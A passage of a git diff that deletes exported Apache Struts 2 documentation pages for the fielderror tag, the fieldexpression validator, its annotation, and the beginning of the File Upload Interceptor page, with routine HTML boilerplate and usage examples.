-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/fielderror.html b/content/docs/fielderror.html
deleted file mode 100644
index 76e5a9e..0000000
--- a/content/docs/fielderror.html
+++ /dev/null
@@ -1,198 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>fielderror</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="fielderror.html">fielderror</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">fielderror</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14151">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14151">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14151">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14151">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14151">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14151">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="fielderror-Description">Description</h2>
-
-
-<p>Render field errors if they exists. Specific layout depends on the particular theme.
-The field error strings will be html escaped by default.</p>
-
-
-<h2 id="fielderror-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="fielderror-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-   &lt;!-- example 1 --&gt;
-   &lt;s:fielderror /&gt;
-
-   &lt;!-- example 2 --&gt;
-   &lt;s:fielderror&gt;
-        &lt;s:param&gt;field1&lt;/s:param&gt;
-        &lt;s:param&gt;field2&lt;/s:param&gt;
-   &lt;/s:fielderror&gt;
-   &lt;s:form .... &gt;
-      ....
-   &lt;/s:form&gt;
-
-   OR
-
-   &lt;s:fielderror&gt;
-         &lt;s:param value=&quot;%{&#39;field1&#39;}&quot; /&gt;
-         &lt;s:param value=&quot;%{&#39;field2&#39;}&quot; /&gt;
-   &lt;/s:fielderror&gt;
-   &lt;s:form .... &gt;
-      ....
-   &lt;/s:form&gt;
-
-   OR
-
-   &lt;s:fielderror fieldName=&quot;field1&quot; /&gt;
-
-]]></script>
-</div></div>
-
-<p>Example 1: display all field errors<br clear="none">
-Example 2: display field errors only for 'field1' and 'field2'<br clear="none"></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/fieldexpression-validator.html b/content/docs/fieldexpression-validator.html
deleted file mode 100644
index b1cc327..0000000
--- a/content/docs/fieldexpression-validator.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>fieldexpression validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="fieldexpression-validator.html">fieldexpression validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">fieldexpression validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14056">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14056">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14056">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14056">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14056">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14056">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="fieldexpressionvalidator-Description">Description</h1>
-<p>Validates a field using an OGNL expression.</p>
-
-<h1 id="fieldexpressionvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>expression - The Ognl expression (must evaluate to a boolean) which is to be evalidated the stack</li></ul>
-
-
-<h1 id="fieldexpressionvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!-- Plain Validator Syntax --&gt;
-&lt;validators&gt;
-    &lt;!-- Plain Validator Syntax --&gt;
-    &lt;validator type=&quot;fieldexpression&quot;&gt;
-       &lt;param name=&quot;fieldName&quot;&gt;myField&lt;/param&gt;
-       &lt;param name=&quot;expression&quot;&gt;&lt;![CDATA[#myCreditLimit &gt; #myGirfriendCreditLimit]]&gt;&lt;/param&gt;
-       &lt;message&gt;My credit limit should be MORE than my girlfriend&lt;/message&gt;
-    &lt;validator&gt;
-    
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name=&quot;myField&quot;&gt;
-        &lt;field-validator type=&quot;fieldexpression&quot;&gt;
-            &lt;param name=&quot;expression&quot;&gt;&lt;![CDATA[#myCreditLimit &gt; #myGirfriendCreditLimit]]&gt;&lt;/param&gt;
-            &lt;message&gt;My credit limit should be MORE than my girlfriend&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-    
-&lt;/vaidators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/fieldexpressionvalidator-annotation.html b/content/docs/fieldexpressionvalidator-annotation.html
deleted file mode 100644
index 7e6387e..0000000
--- a/content/docs/fieldexpressionvalidator-annotation.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>FieldExpressionValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="fieldexpressionvalidator-annotation.html">FieldExpressionValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">FieldExpressionValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13940">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13940">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13940">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13940">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13940">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13940">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>This validator uses an OGNL expression to perform its validator.
-The error message will be added to the field if the expression returns
-false when it is evaluated against the value stack.</p>
-
-<h2 id="FieldExpressionValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="FieldExpressionValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="FieldExpressionValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@FieldExpressionValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, expression = &quot;an OGNL expression&quot;)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/file-upload-interceptor.html b/content/docs/file-upload-interceptor.html
deleted file mode 100644
index 89c23cf..0000000
--- a/content/docs/file-upload-interceptor.html
+++ /dev/null
@@ -1,265 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>File Upload Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="file-upload-interceptor.html">File Upload Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">File Upload Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14299">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14299">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14299">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
